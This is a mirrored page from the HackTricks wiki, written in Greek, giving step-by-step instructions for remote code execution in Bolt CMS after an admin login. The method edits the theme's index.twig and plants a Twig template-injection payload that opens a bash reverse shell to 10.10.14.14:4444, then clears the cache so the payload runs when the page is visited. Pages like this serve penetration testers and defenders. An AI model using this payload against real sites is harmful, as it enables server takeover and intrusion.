mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1.7 KiB
1.7 KiB
Bolt CMS
{{#include ../../banners/hacktricks-training.md}}
RCE
Μετά την είσοδο ως διαχειριστής (πηγαίνετε στο /bot για να αποκτήσετε την προτροπή σύνδεσης), μπορείτε να αποκτήσετε RCE στο Bolt CMS:
- Επιλέξτε
Configuration
->View Configuration
->Main Configuration
ή πηγαίνετε στη διεύθυνση URL/bolt/file-edit/config?file=/bolt/config.yaml
- Ελέγξτε την τιμή του θέματος

- Επιλέξτε
File management
->View & edit templates
- Επιλέξτε τη βάση του θέματος που βρέθηκε στο προηγούμενο βήμα (
base-2021
σε αυτή την περίπτωση) και επιλέξτεindex.twig
- Στην περίπτωσή μου, αυτό είναι στη διεύθυνση URL /bolt/file-edit/themes?file=/base-2021/index.twig
- Ορίστε το payload σας σε αυτό το αρχείο μέσω template injection (Twig), όπως:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
- Και αποθηκεύστε τις αλλαγές

- Καθαρίστε την κρυφή μνήμη στο
Maintenance
->Clear the cache
- Αποκτήστε ξανά πρόσβαση στη σελίδα ως κανονικός χρήστης, και το payload θα πρέπει να εκτελείται
{{#include ../../banners/hacktricks-training.md}}